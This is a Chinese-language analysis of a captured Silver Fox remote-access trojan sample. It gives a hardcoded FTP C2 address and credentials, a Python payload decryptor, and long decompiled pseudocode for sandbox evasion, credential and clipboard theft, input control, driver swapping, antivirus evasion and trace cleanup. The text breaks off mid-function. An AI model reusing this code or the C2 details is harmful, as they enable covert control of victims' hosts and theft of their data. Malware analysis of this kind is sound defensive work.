近期某银狐样本分析

一、银狐木马

近一年来,银狐木马持续高频活跃状态,已成为国内最具威胁的恶意组织之一。该组织主要瞄准企事业单位的管理与财务人员,通过社交软件、钓鱼邮件等渠道,结合进程注入、无文件攻击等技术实施精准钓鱼,远程控制主机并窃取敏感信息,危害极为严重。

本样本来源于实战捕获。

二、exe反编译

loader md5:0d59b57a164a370bf8faacf3ccdc3f27

整体逻辑

对该exe反编译后,整体逻辑如下:

该程序是一个loader,连接硬编码 C2(FTP),下载混淆的 payload,按特定规则在内存中解混淆并直接执行。

image

FTP地址、用户名与密码以硬编码的方式写在了源码里:地址:38.47.238.80​,用户名 safe​,密码 yeh6335Ads​。目前,该FTP服务已无法连接。

微步信息如下:

image

在端口22012​仍开放web服务

image

程序行为分析

image

image

程序启动时会判断当前环境是否是沙箱/虚拟机,

  • 创建一个事件并开一个线程(线程在内部 Sleep(6000)​ 后才 SetEvent​),主线程 WaitForSingleObject​ 等 5000ms。如果等待没有超时(即事件提前被置位),程序直接退出。
  • 检查自身路径是否包含 \AppData\Local\Temp\​,如果在临时目录中则提前退出。
  • 还有对桌面/某些 .lnk​ 路径的检查(代码有对 C:\Users\Public\Desktop\QQ.lnk​、Telegram.lnk​ 等字符串的处理)。

通过检查后,解析 API,程序通过 LoadLibraryA​ + GetProcAddress​ 在运行时动态加载 WinInet.dll​并解析网络函数,而不是在链接时直接导入,避免静态检测。

image

通过 InternetOpenA​ + InternetConnectA​ 用FTP连接到 38.47.238.80​,用户名/密码如上。然后调用 FtpOpenFileA​ 打开远程文件sl_8031​。成功后用 InternetReadFile​ 循环读取整个文件到堆分配的缓冲中。

image

为下载数据申请可执行内存(VirtualAlloc(..., PAGE_EXECUTE_READWRITE)​),然后对下载内容进行字节级解混淆/解密,后续源码可见具体运算,得到解密后的可执行代码。最后把该内存地址当作函数指针并调用,传入部分参数(例如原来的 v22​),直接在内存中执行远端下载来的shellcode。

v12 = 0;
if ( dwSize ) // 如果数据长度不为0
{
  v13 = v19 - v10; // 计算原始数据与解密缓冲区的偏移
  while ( 1 )
  {
    v14 = v12 % 3;
    if ( !(v12 % 3) )
      break;
    if ( v14 == 1 )
    {
      v15 = &v11[v12];
      v16 = v11[v12 + v13] ^ 0x77;
      goto LABEL_18;
    }
    if ( v14 == 2 )
    {
      v15 = &v11[v12];
      v16 = v12 ^ v11[v12 + v13] ^ 0x36;
      goto LABEL_18;
    }
LABEL_19:
    if ( ++v12 >= dwSize )
      goto LABEL_20;
  }
  v15 = &v11[v12];
  v16 = v11[v12 + v13] ^ 0x57;
LABEL_18:
  *v15 = v16;
  goto LABEL_19;
}
for i in range(0, dwSize):
    if i % 3 == 0:
        out_buf[i] = in_buf[i] ^ 0x57
    elif i % 3 == 1:
        out_buf[i] = in_buf[i] ^ 0x77
    else:  # i % 3 == 2
        out_buf[i] = i ^ in_buf[i] ^ 0x36
  • 第 0、1 个余数使用固定 XOR 常数(0x57、0x77),第 2 个余数额外混入了索引 i​(i ^ byte ^ 0x36​),使得该位置随偏移变化。
  • 最终把结果写到可执行内存并直接调用,说明作者把 payload 混淆后内存执行以逃避磁盘检测。

win.dat

win.dat md5:e93b0b256a01726b75648c08649103fc

对远程加载的win.dat进行还原

image

def decrypt_payload(encrypted_data):
    decrypted = bytearray(len(encrypted_data))
    for i in range(len(encrypted_data)):
        if i % 3 == 0:
            decrypted[i] = encrypted_data[i] ^ 0x57
        elif i % 3 == 1:
            decrypted[i] = encrypted_data[i] ^ 0x77
        else:  # i % 3 == 2
            decrypted[i] = encrypted_data[i] ^ (i & 0xFF) ^ 0x36
    return decrypted

# 读取加密文件
with open('win.dat', 'rb') as f:
    encrypted = f.read()

# 解密
decrypted = decrypt_payload(encrypted)

# 保存解密后的文件(可能是 PE 文件)
with open('windat_decode.bin', 'wb') as f:
    f.write(decrypted)

image

windat_decrypted.bin md5:529afe125e23e8f693a9240fa17a19e5

虚拟机检测

char sub_401010()
{

  SubStr[0] = "qemu";
  SubStr[1] = "virtual";
  SubStr[2] = "vmware";
  SubStr[3] = 0;
  FileA = CreateFileA("\\\\.\\PhysicalDrive0", 0, 3u, 0, 3u, 0, 0);//打开物理磁盘
  if ( FileA == (HANDLE)-1 )
    return 0;
  memset(InBuffer, 0, sizeof(InBuffer));
  BytesReturned = 0;
  sub_4175C0(OutBuffer, 0, 0x80u);
  sub_4175C0(sz, 0, 0x80u);
  if ( !DeviceIoControl(FileA, 0x2D1400u, InBuffer, 0xCu, OutBuffer, 0x80u, &BytesReturned, 0) )
  {
LABEL_10:
    CloseHandle(FileA);
    return 0;
  }
  v1 = OutBuffer[v11];
  v2 = &OutBuffer[v11];
  if ( v1 )
  {
    v3 = sz;
    do
    {
      ++v2;
      *v3 = v1;
      v1 = *v2;
      ++v3;
    }
    while ( *v2 );
  }
  CharLowerBuffA(sz, strlen(sz));
  v4 = 0;
  while ( !*SubStr[v4] || !strstr(sz, SubStr[v4]) )
  {
    if ( (unsigned int)++v4 >= 3 )
      goto LABEL_10;
  }
  return 1;
}

键鼠事件记录

char __cdecl sub_401570(LPCSTR lpLibFileName)
{

  if ( hLibModule )
    return 1;
  LibraryA = LoadLibraryA(lpLibFileName); //调用LoadLibraryA动态加载dll
  v3 = LibraryA;
  if ( LibraryA )
  {
    Init = (int (__cdecl *)(_DWORD, _DWORD))GetProcAddress(LibraryA, "Init");
    SetScale = (int)GetProcAddress(v3, "SetScale");
    SetMouseMoveTrack = (int)GetProcAddress(v3, "SetMouseMoveTrack");
    MouseMove = (int)GetProcAddress(v3, "MouseMove");
    MouseMoveR = (int)GetProcAddress(v3, "MouseMoveR");
    MouseLeftDown = (int)GetProcAddress(v3, "MouseLeftDown");
    MouseLeftUp = (int)GetProcAddress(v3, "MouseLeftUp");
    MouseRightDown = (int)GetProcAddress(v3, "MouseRightDown");
    MouseRightUp = (int)GetProcAddress(v3, "MouseRightUp");
    MouseMiddleDown = (int)GetProcAddress(v3, "MouseMiddleDown");
    MouseMiddleUp = (int)GetProcAddress(v3, "MouseMiddleUp");
    Mouse4Down = (int)GetProcAddress(v3, "Mouse4Down");
    Mouse4Up = (int)GetProcAddress(v3, "Mouse4Up");
    Mouse5Down = (int)GetProcAddress(v3, "Mouse5Down");
    Mouse5Up = (int)GetProcAddress(v3, "Mouse5Up");
    MouseWheelDown = (int)GetProcAddress(v3, "MouseWheelDown");
    MouseWheelUp = (int)GetProcAddress(v3, "MouseWheelUp");
    KeyboardDown = (int)GetProcAddress(v3, "KeyboardDown");
    KeyboardUp = (int)GetProcAddress(v3, "KeyboardUp");
    InputString = GetProcAddress(v3, "InputString");
    dword_4A8510 = (int)InputString;
    if ( Init
      && MouseMove
      && MouseMoveR
      && MouseLeftDown
      && MouseLeftUp
      && MouseRightDown
      && MouseRightUp
      && MouseMiddleDown
      && MouseMiddleUp
      && Mouse4Down
      && Mouse4Up
      && Mouse5Down
      && Mouse5Up
      && MouseWheelDown
      && MouseWheelUp
      && InputString
      && (unsigned __int8)Init(0, 0) )
    {
      hLibModule = v3;
      return 1;
    }
    FreeLibrary(v3);
  }
  return 0;
}
...
int __thiscall sub_40F9A0(SOCKET **this)
{
  char Buffer[260];
  GetSystemDirectoryA(Buffer, 0x104u);
  lstrcatA(Buffer, byte_4AAA68);

  HANDLE hFile = CreateFileA(Buffer, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_ARCHIVE, 0);
  if ( hFile != INVALID_HANDLE_VALUE )
  {
    unsigned int fileSize = GetFileSize(hFile, 0);
    void *buf = operator new[](fileSize);
    DWORD read;
    ReadFile(hFile, buf, fileSize, &read, 0);

    for ( unsigned int i = 0; i < fileSize; ++i )
      *((_BYTE*)buf + i) ^= 0x60;   // XOR 解密

    int v1 = sub_40F950(this, buf, fileSize); // 发送
    operator delete(buf);
    CloseHandle(hFile);
    return v1;
  }
  CloseHandle(hFile);
  return 0;
}

获取Chrome浏览器用户信息

SOCKET **__thiscall sub_401810(SOCKET **this, _DWORD *Src)
{

  v19[1] = (int)this;
  sub_412460(this, Src);
  v19[4] = 0;
  *this = (SOCKET *)&CChromeManager::`vftable';
  v3 = LocalAlloc(0x40u, 0x400u);
  *v3 = -41;
  LibraryA = LoadLibraryA("CHROMEUSERINFO.dll");
  v5 = LibraryA;
  if ( !LibraryA
    || (this[4] = (SOCKET *)GetProcAddress(LibraryA, "fnGetChromeUserInfo"),
        fnDeleteChromeUserInfo = GetProcAddress(v5, "fnDeleteChromeUserInfo"),
        v7 = this[4],
        this[5] = (SOCKET *)fnDeleteChromeUserInfo,
        !v7)
    || !fnDeleteChromeUserInfo )
  {
    v11 = lstrlenA;
    v18 = lstrlenA("CHROME_UNKNOW") + 1;
    memcpy(v3 + 1, "CHROME_UNKNOW", v18);
    goto LABEL_11;
  }
  Src = 0;
  v19[0] = 0;
  v8 = ((int (__cdecl *)(_DWORD **, int *))v7)(&Src, v19);
  if ( v8 )
  {
    v11 = lstrlenA;
    if ( v8 == 5 )
    {
      v12 = lstrlenA("CHROME_NO_DATA");
      memcpy(v3 + 1, "CHROME_NO_DATA", v12 + 1);
      v13 = lstrlenA("CHROME_NO_DATA");
LABEL_12:
      v10 = v13 + 2;
      goto LABEL_13;
    }
    v17 = lstrlenA("CHROME_UNKNOW") + 1;
    memcpy(v3 + 1, "CHROME_UNKNOW", v17);
LABEL_11:
    v13 = v11("CHROME_UNKNOW");
    goto LABEL_12;
  }
  v9 = Src;
  v10 = v19[0] + 1;
  memcpy(v3 + 1, Src, v19[0] + 1);
  if ( v9 )
    ((void (__cdecl *)(_DWORD **))this[5])(&Src);
LABEL_13:
  v14 = LocalReAlloc(v3, v10, 0x42u);
  v15 = LocalSize(v14);
  sub_4124C0(this, v14, v15, 1);
  LocalFree(v14);
  return this;
}

读取和修改剪贴板数据

BOOL __thiscall sub_4025B0(SOCKET **this)
{

  result = OpenClipboard(0);
  if ( result )
  {
    ClipboardData = GetClipboardData(1u);
    v4 = (const CHAR *)GlobalLock(ClipboardData);
    v5 = (CHAR *)v4;
    if ( v4 )
    {
      v7 = lstrlenA(v4);
      sub_4124C0(this, v5, v7, 1);
    }
    else
    {
      strcpy(String, "���а�����Ϊ��");
      v6 = lstrlenA(String);
      sub_4124C0(this, String, v6, 1);
    }
    GlobalUnlock(ClipboardData);
    return CloseClipboard();
  }
  return result;
}
......
BOOL __thiscall sub_402660(HANDLE *this, char *a2, int a3)
{
  char *v3; // esi
  BOOL result; // eax
  HGLOBAL v5; // edi
  _BYTE *v6; // eax
  char v7; // cl

  v3 = a2;
  if ( *a2 == 37 )
    return sub_412560(this);
  if ( *a2 == -31 )
    return sub_4025B0((SOCKET **)this);
  result = OpenClipboard(0);
  if ( result )
  {
    EmptyClipboard();
    v5 = GlobalAlloc(0x2000u, a3 + 1);
    v6 = GlobalLock(v5);
    do
    {
      v7 = *v3;
      *v6++ = *v3++;
    }
    while ( v7 );
    GlobalUnlock(v5);
    SetClipboardData(1u, v5);
    return CloseClipboard();
  }
  return result;
}

替换驱动

int __cdecl sub_40C8E0(char *a1)
{

  CommandLine = 0;
  sub_4175C0(v18, 0, 0x103u);
  Wow64EnableWow64FsRedirection(0);
  memset(&ProcessInformation, 0, sizeof(ProcessInformation));
  sub_4175C0((char *)&StartupInfo, 0, 0x44u);
  StartupInfo.cb = 68;
  GetStartupInfoA(&StartupInfo);
  StartupInfo.wShowWindow = 0;
  StartupInfo.dwFlags = 257;
  v1 = a1;
  v2 = (CHAR *)(&CommandLine - a1);
  do
  {
    v3 = *v1;
    v1[(_DWORD)v2] = *v1;
    ++v1;
  }
  while ( v3 );
  v4 = (char *)&StartupInfo.hStdError + 3;
  while ( *++v4 )
    ;
  strcpy(v4, " remove HID\\km_hid*");
  if ( !CreateProcessA(0, &CommandLine, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInformation)
    || WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFF) )
  {
    return 0;
  }
  if ( ProcessInformation.hProcess )
    CloseHandle(ProcessInformation.hProcess);
  if ( ProcessInformation.hThread )
    CloseHandle(ProcessInformation.hThread);
  v7 = a1;
  do
  {
    v8 = *v7;
    v7[(_DWORD)v2] = *v7;
    ++v7;
  }
  while ( v8 );
  v9 = (char *)&StartupInfo.hStdError + 3;
  while ( *++v9 )
    ;
  strcpy(v9, " remove @HID\\km_hid*");
  if ( !CreateProcessA(0, &CommandLine, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInformation)
    || WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFF) )
  {
    return 0;
  }
  if ( ProcessInformation.hProcess )
    CloseHandle(ProcessInformation.hProcess);
  if ( ProcessInformation.hThread )
    CloseHandle(ProcessInformation.hThread);
  v11 = a1;
  do
  {
    v12 = *v11;
    v11[(_DWORD)v2] = *v11;
    ++v11;
  }
  while ( v12 );
  v13 = (char *)&StartupInfo.hStdError + 3;
  while ( *++v13 )
    ;
  strcpy(v13, " remove buke\\km_hid");
  if ( !CreateProcessA(0, &CommandLine, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInformation)
    || WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFF) )
  {
    return 0;
  }
  if ( ProcessInformation.hProcess )
    CloseHandle(ProcessInformation.hProcess);
  if ( ProcessInformation.hThread )
    CloseHandle(ProcessInformation.hThread);
  Wow64EnableWow64FsRedirection(1u);
  return 1;
}
int sub_40CB90()
{
  struct _PROCESS_INFORMATION ProcessInformation; // [esp+Ch] [ebp-15Ch] BYREF
  struct _STARTUPINFOA StartupInfo; // [esp+1Ch] [ebp-14Ch] BYREF
  CHAR CommandLine[260]; // [esp+60h] [ebp-108h] BYREF

  CommandLine[0] = 0;
  sub_4175C0(&CommandLine[1], 0, 0x103u);
  Wow64EnableWow64FsRedirection(0);
  memset(&ProcessInformation, 0, sizeof(ProcessInformation));
  sub_4175C0((char *)&StartupInfo, 0, 0x44u);
  StartupInfo.cb = 68;
  GetStartupInfoA(&StartupInfo);
  strcpy(CommandLine, "D:\\buke\\devcon.exe install D:\\buke\\buke_km_hid_drv.inf buke\\km_hid");
  StartupInfo.wShowWindow = 0;
  StartupInfo.dwFlags = 257;
  if ( !CreateProcessA(0, CommandLine, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInformation)
    || WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFF) )
  {
    return 0;
  }
  if ( ProcessInformation.hProcess )
    CloseHandle(ProcessInformation.hProcess);
  if ( ProcessInformation.hThread )
    CloseHandle(ProcessInformation.hThread);
  Wow64EnableWow64FsRedirection(1u);
  return 1;
}
int sub_40CCB0()
{
  struct _PROCESS_INFORMATION ProcessInformation; // [esp+Ch] [ebp-15Ch] BYREF
  struct _STARTUPINFOA StartupInfo; // [esp+1Ch] [ebp-14Ch] BYREF
  CHAR CommandLine[260]; // [esp+60h] [ebp-108h] BYREF

  CommandLine[0] = 0;
  sub_4175C0(&CommandLine[1], 0, 0x103u);
  Wow64EnableWow64FsRedirection(0);
  memset(&ProcessInformation, 0, sizeof(ProcessInformation));
  sub_4175C0((char *)&StartupInfo, 0, 0x44u);
  StartupInfo.cb = 68;
  GetStartupInfoA(&StartupInfo);
  strcpy(CommandLine, "C:\\Windows\\System32\\devcon.exe install C:\\Windows\\System32\\mm.inf Root\\Parsec\\VDA");
  StartupInfo.wShowWindow = 0;
  StartupInfo.dwFlags = 257;
  if ( !CreateProcessA(0, CommandLine, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInformation)
    || WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFF) )
  {
    return 0;
  }
  if ( ProcessInformation.hProcess )
    CloseHandle(ProcessInformation.hProcess);
  if ( ProcessInformation.hThread )
    CloseHandle(ProcessInformation.hThread);
  Wow64EnableWow64FsRedirection(1u);
  return 1;
}

痕迹清理

BOOL __stdcall EnumFunc(HWND hWnd, LPARAM a2)
{

  String = 0;
  sub_4175C0(v5, 0, 0xFDu);
  GetWindowTextA(hWnd, &String, 254);
  v2 = strstr(&String, byte_4A9E60) == 0;
  result = 1;
  if ( !v2 )
    dword_4A9E5C = 1;
  return result;
}
char *sub_40D300()
{

  GetSystemDirectoryA(Buffer, 0x104u);
  lstrcatA(Buffer, byte_4AAA68);
  DeleteFileA(Buffer);
  result = sub_40C380(hModule, "STUV");
  if ( result )
  {
    sub_4175C0(Filename, 0, 0x104u);
    GetModuleFileNameA(0, Filename, 0x104u);
    strcpy(pszPath, "D:");
    if ( PathFileExistsA(pszPath) || (strcpy(pszPath, "E:"), (result = (char *)PathFileExistsA(pszPath)) != 0) )
    {
      strcpy(v26, "NetEase.exe");
      sub_4175C0(v27, 0, 0x44u);
      wsprintfA(ValueName, "%s\\NetEase\\%s", pszPath, v26);
      sub_41EBF0(v33);
      MoveFileExA(Filename, 0, 4u);
      v1 = 0;
      do
      {
        v2 = v33[v1];
        ExistingFileName[v1++] = v2;
      }
      while ( v2 );
      v3 = (char *)&StartupInfo.hStdError + 3;
      while ( *++v3 )
        ;
      strcpy(v3, "\\libxml2.dll");
      MoveFileExA(ExistingFileName, 0, 4u);
      v5 = 0;
      do
      {
        v6 = v33[v5];
        ExistingFileName[v5++] = v6;
      }
      while ( v6 );
      v7 = (char *)&StartupInfo.hStdError + 3;
      while ( *++v7 )
        ;
      strcpy(v7, "\\win.dat");
      MoveFileExA(ExistingFileName, 0, 4u);
      if ( dword_4AAA48 )
      {
        sub_423DA0((OLECHAR *)L"NetEaseA");
        if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 2u, &phkResult) )
        {
          RegDeleteValueA(phkResult, "NetEaseA");
          RegCloseKey(phkResult);
        }
        if ( !RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 2u, &phkResult) )
        {
          RegDeleteValueA(phkResult, "NetEaseA");
          RegCloseKey(phkResult);
        }
        if ( !RegOpenKeyExA(
                HKEY_CURRENT_USER,
                "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers",
                0,
                2u,
                &phkResult) )
        {
          RegDeleteValueA(phkResult, ValueName);
          RegCloseKey(phkResult);
        }
        if ( !RegOpenKeyExA(
                HKEY_LOCAL_MACHINE,
                "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers",
                0,
                0x102u,
                &phkResult) )
        {
          RegDeleteValueA(phkResult, ValueName);
          RegCloseKey(phkResult);
        }
        if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\Setup", 0, 2u, &phkResult) )
        {
          RegDeleteValueA(phkResult, "RemarkName");
          RegDeleteValueA(phkResult, "GroupName");
          RegCloseKey(phkResult);
        }
        MoveFileExA(ValueName, 0, 4u);
        v9 = 0;
        do
        {
          v10 = pszPath[v9];
          ExistingFileName[v9++] = v10;
        }
        while ( v10 );
        v11 = (char *)&StartupInfo.hStdError + 3;
        while ( *++v11 )
          ;
        strcpy(v11, "\\NetEase\\libxml2.dll");
        MoveFileExA(ExistingFileName, 0, 4u);
        v13 = 0;
        do
        {
          v14 = pszPath[v13];
          ExistingFileName[v13++] = v14;
        }
        while ( v14 );
        v15 = (char *)&StartupInfo.hStdError + 3;
        while ( *++v15 )
          ;
        strcpy(v15, "\\NetEase\\win.dat");
        MoveFileExA(ExistingFileName, 0, 4u);
        v17 = 0;
        do
        {
          v18 = pszPath[v17];
          ExistingFileName[v17++] = v18;
        }
        while ( v18 );
        v19 = (char *)&StartupInfo.hStdError + 3;
        while ( *++v19 )
          ;
        strcpy(v19, "\\NetEase");
        MoveFileExA(ExistingFileName, 0, 4u);
        SHGetSpecialFolderPathA(0, ExistingFileName, 24, 0);
        lstrcatA(ExistingFileName, "\\NetEase.lnk");
        MoveFileExA(ExistingFileName, 0, 4u);
        if ( hPort != (HANDLE)-1 )
        {
          InBuffer.hThread = 0;
          InBuffer.hProcess = (HANDLE)10;
          FilterSendMessage(hPort, &InBuffer, 8u, 0, 0, &BytesReturned);
          RegDeleteTreeA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\Acx01");
        }
        RegDeleteTreeA(HKEY_LOCAL_MACHINE, "Software\\NetEase");
      }
      CommandLine[0] = 0;
      sub_4175C0(&CommandLine[1], 0, 0x103u);
      memset(&InBuffer, 0, sizeof(InBuffer));
      sub_4175C0((char *)&StartupInfo, 0, 0x44u);
      StartupInfo.cb = 68;
      GetStartupInfoA(&StartupInfo);
      StartupInfo.wShowWindow = 0;
      StartupInfo.dwFlags = 257;
      Wow64EnableWow64FsRedirection(0);
      strcpy(CommandLine, "C:\\Windows\\System32\\devcon.exe remove Root\\Parsec\\VDA");
      if ( CreateProcessA(0, CommandLine, 0, 0, 1, 0, 0, 0, &StartupInfo, &InBuffer) )
      {
        WaitForSingleObject(InBuffer.hProcess, 0xFFFFFFFF);
        if ( InBuffer.hProcess )
          CloseHandle(InBuffer.hProcess);
        if ( InBuffer.hThread )
          CloseHandle(InBuffer.hThread);
      }
      strcpy(ExistingFileName, "C:\\Windows\\System32\\drivers\\UMDF\\mm.dll");
      MoveFileExA(ExistingFileName, 0, 4u);
      Wow64EnableWow64FsRedirection(1u);
      exit(0);
    }
  }
  return result;
}

前台窗口监控

// 如果窗口变化,或者标题变化,就进行下一步记录。
int sub_40DE50()
{
  int result; // eax
  struct _SYSTEMTIME SystemTime; // [esp+4h] [ebp-94h] BYREF
  CHAR String; // [esp+14h] [ebp-84h] BYREF
  char v3[127]; // [esp+15h] [ebp-83h] BYREF

  hWnd = GetForegroundWindow();
  GetWindowTextA(hWnd, byte_4A9D58, 256);
  if ( (HWND)dword_4A9C50 != hWnd || (result = strcmp(byte_4A9D58, byte_4A9C58)) != 0 )
  {
    GetLocalTime(&SystemTime);
    String = 0;
    sub_4175C0(v3, 0, 0x7Fu);
    wsprintfA(
      &String,
      "\r\n--------begin--------- %d-%d-%d %d:%d:%d\r\n",
      SystemTime.wYear,
      SystemTime.wMonth,
      SystemTime.wDay,
      SystemTime.wHour,
      SystemTime.wMinute,
      SystemTime.wSecond);
    dword_4A8C44 = (int)"\r\n---------End----------\r\n";
    sub_40DB80((CHAR *)"\r\n---------End----------\r\n");
    sub_40DB80(&String);
    GetWindowTextA(hWnd, byte_4A9C58, 256);
    dword_4A9C50 = (int)hWnd;
    strcat(dword_4A6B00, byte_4A9D58);
    strcat(dword_4A6B00, ">>\r\n");
    sub_40DB80(dword_4A6B00);
    result = -357483460;
    *(_DWORD *)dword_4A6B00 = -357483460;
    dword_4A6B04 = -1163664692;
    byte_4A6B08 = 0;
  }
  return result;
}

对抗沙箱与杀软

if (!dword_4A8C4C) {
  if (!dword_4AAA48) {
    if (sub_41E690("360tray.exe")) {
      ...
    }
  }
  dword_4A8C4C = 1;
  hMutex = CreateMutexA(0,0,0);
  *(_DWORD *)&byte_4AAA68[36] = CreateMutexA(0,0,0);
  ...
  sub_40E240((_DWORD *)this);
}
v9 = sub_434690(0,0,(int)sub_410B30,this,0,0,0);
...
qmemcpy(cp, a2 + 1, sizeof(cp));
switch(cp[1004]) {
  case 1: sub_404E80(...);
  case 2: sub_402CD0(...);
  case 3: sub_405320(...);
  ...
  case 8: 
    GetVersionExA(&VersionInformation);
    ...
}
sub_40D180(...);
...
strcpy(CommandLine, "netsh advfirewall firewall add rule ...");
CreateProcessA(0, CommandLine, ...);
...
if (!sub_41E690("SbieSvc.exe") && sub_41E690("360tray.exe") && dword_4AAA48) {
    ...
    *(_DWORD *)(...) = sub_434690(...);
}
...
int __stdcall sub_410DB0(int a1)
{
  int v2; // edi
  DWORD th32ProcessID; // ebx
  HANDLE Toolhelp32Snapshot; // esi
  LPARAM lParam[2]; // [esp+0h] [ebp-134h] BYREF
  PROCESSENTRY32 pe; // [esp+8h] [ebp-12Ch] BYREF

  if ( !InterlockedExchange(&dword_4AA270, 1) )
  {
    while ( 1 )
    {
      v2 = 0;
      th32ProcessID = 0;
      Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0);
      pe.dwSize = 296;
      if ( Process32First(Toolhelp32Snapshot, &pe) )
      {
        while ( lstrcmpiA(pe.szExeFile, "360tray.exe") )
        {
          if ( !Process32Next(Toolhelp32Snapshot, &pe) )
            goto LABEL_8;
        }
        th32ProcessID = pe.th32ProcessID;
        v2 = 1;
      }
LABEL_8:
      CloseHandle(Toolhelp32Snapshot);
      if ( v2 )
      {
        lParam[1] = th32ProcessID;
        lParam[0] = 0;
        EnumWindows(sub_410D60, (LPARAM)lParam);
      }
      Sleep(0x3E8u);
    }
  }
  return -1;
}

清理浏览器痕迹

char __cdecl sub_411C10(char *Source)
{
  v26 = 15;
  v25 = 0;
  LOBYTE(v24) = 0;
  sub_409680(&v23, (int)(Source + 1), Source, strlen(Source));
  v28 = 0;
  if ( v25 <= v25 - 1 )
    sub_4585D6();
  v1 = v24;
  if ( v26 < 0x10 )
    v1 = &v24;
  if ( v1[v25 - 1] != 92 )
    sub_4094F0(&v23, 1u, 0x5Cu);
  v2 = sub_411B30((int)&v11, &v23, "*.*");
  LOBYTE(v28) = 1;
  if ( *(_DWORD *)(v2 + 24) < 0x10u )
    v3 = (const CHAR *)(v2 + 4);
  else
    v3 = *(const CHAR **)(v2 + 4);
  FirstFileA = FindFirstFileA(v3, &FindFileData);
  LOBYTE(v28) = 0;
  if ( v14 >= 0x10 )
    operator delete(v12);
  v14 = 15;
  v13 = 0;
  LOBYTE(v12) = 0;
  if ( FirstFileA == (HANDLE)-1 )
  {
    v28 = -1;
    if ( v26 >= 0x10 )
      operator delete(v24);
    v26 = 15;
    return 0;
  }
  else
  {
    do
    {
      if ( (FindFileData.dwFileAttributes & 0x10) != 0 )
      {
        if ( _stricmp(FindFileData.cFileName, ".") && _stricmp(FindFileData.cFileName, "..") )
        {
          v6 = sub_411B30((int)&v15, &v23, FindFileData.cFileName);
          LOBYTE(v28) = 2;
          if ( *(_DWORD *)(v6 + 24) < 0x10u )
            v7 = (void *)(v6 + 4);
          else
            v7 = *(void **)(v6 + 4);
          sub_411C10(v7, v10);
          LOBYTE(v28) = 0;
          if ( v18 >= 0x10 )
            operator delete(v16);
          v18 = 15;
          v17 = 0;
          LOBYTE(v16) = 0;
        }
      }
      else
      {
        v8 = sub_411B30((int)&v19, &v23, FindFileData.cFileName);
        LOBYTE(v28) = 3;
        if ( *(_DWORD *)(v8 + 24) < 0x10u )
          v9 = (const CHAR *)(v8 + 4);
        else
          v9 = *(const CHAR **)(v8 + 4);
        DeleteFileA(v9);
        LOBYTE(v28) = 0;
        if ( v22 >= 0x10 )
          operator delete(v20);
        v22 = 15;
        v21 = 0;
        LOBYTE(v20) = 0;
      }
    }
    while ( FindNextFileA(FirstFileA, &FindFileData) );
    FindClose(FirstFileA);
    RemoveDirectoryA(Source);
    v28 = -1;
    if ( v26 >= 0x10 )
      operator delete(v24);
    return 1;
  }
}
int __stdcall sub_411F00(int a1)
{
  int v1; // edx
  const char *v2; // ecx
  unsigned int v3; // eax
  const char *v4; // esi
  char *v5; // edi
  char *v7; // eax
  char *v9; // edi
  char v12; // [esp+7h] [ebp-20Dh] BYREF
  int Source[65]; // [esp+8h] [ebp-20Ch] BYREF
  CHAR pszPath[260]; // [esp+10Ch] [ebp-108h] BYREF

  sub_4116D0("chrome.exe");
  SHGetSpecialFolderPathA(0, pszPath, 7, 0);
  sub_432FF0(pszPath, "\\");
  strcpy((char *)Source, "C:\\Users\\");
  v2 = *(const char **)(v1 + 8);
  v3 = strlen(v2) + 1;
  v4 = v2;
  v5 = &v12;
  while ( *++v5 )
    ;
  qmemcpy(v5, v4, v3);
  v7 = &v12;
  while ( *++v7 )
    ;
  strcpy(v7, "\\AppData\\Local\\Go");
  v9 = &v12;
  while ( *++v9 )
    ;
  strcpy(v9, "ogle\\Chrome\\User Data\\Default");
  Sleep(0x3E8u);
  sub_411C10((char *)Source);
  return 0;
}
// 411F69: variable 'v1' is possibly undefined

//----- (00412030) --------------------------------------------------------
int __stdcall sub_412030(int a1)
{
  int v1; // edx
  const char *v2; // ecx
  unsigned int v3; // eax
  const char *v4; // esi
  char *v5; // edi
  char *v7; // edi
  char v10; // [esp+7h] [ebp-20Dh] BYREF
  int Source[65]; // [esp+8h] [ebp-20Ch] BYREF
  CHAR pszPath[260]; // [esp+10Ch] [ebp-108h] BYREF

  sub_4116D0("QQBrowser.exe");
  SHGetSpecialFolderPathA(0, pszPath, 7, 0);
  sub_432FF0(pszPath, "\\");
  strcpy((char *)Source, "C:\\Users\\");
  v2 = *(const char **)(v1 + 8);
  v3 = strlen(v2) + 1;
  v4 = v2;
  v5 = &v10;
  while ( *++v5 )
    ;
  qmemcpy(v5, v4, v3);
  v7 = &v10;
  while ( *++v7 )
    ;
  strcpy(v7, "\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\Default");
  Sleep(0x3E8u);
  sub_411C10((char *)Source);
  return 0;
}
int __stdcall sub_412120(int a1)
{
  int v1; // edx
  const char *v2; // ecx
  unsigned int v3; // eax
  const char *v4; // esi
  char *v5; // edi
  char *v7; // edi
  char v10; // [esp+7h] [ebp-20Dh] BYREF
  int Source[65]; // [esp+8h] [ebp-20Ch] BYREF
  CHAR pszPath[260]; // [esp+10Ch] [ebp-108h] BYREF

  sub_4116D0("SogouExplorer.exe");
  SHGetSpecialFolderPathA(0, pszPath, 7, 0);
  sub_432FF0(pszPath, "\\");
  strcpy((char *)Source, "C:\\Users\\");
  v2 = *(const char **)(v1 + 8);
  v3 = strlen(v2) + 1;
  v4 = v2;
  v5 = &v10;
